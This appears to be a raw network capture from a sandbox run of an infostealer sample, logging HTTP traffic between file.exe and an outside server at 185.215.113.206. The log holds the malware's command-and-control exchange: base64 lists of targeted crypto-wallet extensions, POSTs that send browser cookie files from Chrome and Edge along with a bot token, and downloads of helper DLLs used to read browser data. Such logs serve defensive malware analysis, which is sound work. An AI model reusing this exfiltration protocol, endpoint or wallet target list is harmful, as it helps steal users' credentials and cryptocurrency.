Nov 22, 2024 14:43:26.122102976 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 22, 2024 14:43:26.122121096 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 22, 2024 14:43:26.122221947 CET	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 22, 2024 14:43:26.122240067 CET	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Nov 22, 2024 14:43:26.122256041 CET	1236	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHw
Nov 22, 2024 14:43:26.130424976 CET	492	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 Data Ascii: IFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1
Nov 22, 2024 14:43:26.297826052 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="message"fplugins------GCBGCAFIIECBFIDHIJKF--
Nov 22, 2024 14:43:26.750709057 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:26 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 22, 2024 14:43:26.774307013 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGCFCBAKKFBFIECAEBA Host: 185.215.113.206 Content-Length: 7747 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 14:43:26.774365902 CET	7747	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 Data Ascii: ------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 22, 2024 14:43:27.764791012 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 14:43:28.080960989 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 14:43:28.531908035 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 22, 2024 14:43:28.532025099 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 22, 2024 14:43:28.536078930 CET	448	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49786	185.215.113.206	80	5608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:43:37.875859022 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJDBGDGCGDAKFIDGIDB Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IIJDBGDGCGDAKFIDGIDBContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------IIJDBGDGCGDAKFIDGIDBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IIJDBGDGCGDAKFIDGIDBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IIJDBGDGCGDAKFIDGIDB--
Nov 22, 2024 14:43:39.781613111 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 14:43:40.345243931 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIDAKECFIEBGDHJEBK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="file"------AEHIDAKECFIEBGDHJEBK--
Nov 22, 2024 14:43:41.309560061 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49819	185.215.113.206	80	5608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:43:47.475831985 CET	633	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJECAEHJJJKJKFIDGCB Host: 185.215.113.206 Content-Length: 431 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 [TRUNCATED] Data Ascii: ------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FIJECAEHJJJKJKFIDGCB--
Nov 22, 2024 14:43:49.368083000 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 14:43:50.064826012 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="file"------BFIDGDAKFHIEHJKFHDHD--
Nov 22, 2024 14:43:51.015116930 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 14:43:51.980607033 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 14:43:52.446857929 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 22, 2024 14:43:52.446871996 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}U
Nov 22, 2024 14:43:52.447104931 CET	1236	IN	Data Raw: 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 51 50 e8 3f 96 06 00 83 c4 1c 5e 5f Data Ascii: Mt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^
Nov 22, 2024 14:43:52.447187901 CET	1236	IN	Data Raw: 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 40 8d 04 3f 83 c0 fe 8d 04 40 89 c1 Data Ascii: T$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$
Nov 22, 2024 14:43:52.447200060 CET	1236	IN	Data Raw: 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d e5 c1 e0 10 c1 e1 08 09 c1 0f b6 45 Data Ascii: uSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7
Nov 22, 2024 14:43:52.447211981 CET	1236	IN	Data Raw: ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 fb 07 00 89 d8 83 c4 4c 5e 5f 5b 5d Data Ascii: t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]U
Nov 22, 2024 14:43:52.447310925 CET	1236	IN	Data Raw: 00 b8 02 00 00 00 66 0f 1f 44 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 Data Ascii: fDT>\>=t%>>f1hM1)^_[]USWV01Eh1E=s hkhVo
